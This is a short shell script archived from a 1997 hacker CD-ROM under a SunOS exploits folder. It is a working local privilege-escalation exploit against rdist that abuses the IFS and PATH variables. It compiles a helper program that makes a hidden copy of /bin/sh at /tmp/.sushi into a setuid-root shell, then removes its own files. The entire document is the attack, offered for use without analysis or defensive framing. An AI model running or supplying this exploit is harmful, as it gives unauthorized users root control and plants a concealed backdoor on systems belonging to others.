home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-rd~2.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  378 b   |  25 lines

  1.  
  2.  
  3.  
  4.  
  5. #!/bin/sh
  6.  
  7. cat << _EOF_ > distfile
  8.  
  9. w0oTwO0T -> localhost
  10.  
  11.   install /tmp/1 ;
  12.  
  13.   notify user ;
  14.  
  15. _EOF_
  16.  
  17. cat << _EOF_ > usr.c
  18.  
  19. main()
  20.  
  21. {
  22.  
  23.   setuid(0);
  24.  
  25.   chown("/tmp/.sushi", 0, 0);
  26.  
  27.   chmod("/tmp/.sushi", 04755);
  28.  
  29.   exit(0);
  30.  
  31. }
  32.  
  33. _EOF_
  34.  
  35. cp /bin/sh /tmp/.sushi
  36.  
  37. cc -o usr usr.c
  38.  
  39. PATH=.:$PATH
  40.  
  41. IFS='/'
  42.  
  43. export PATH IFS
  44.  
  45. rdist
  46.  
  47. rm -f usr usr.c distfile
  48.  
  49.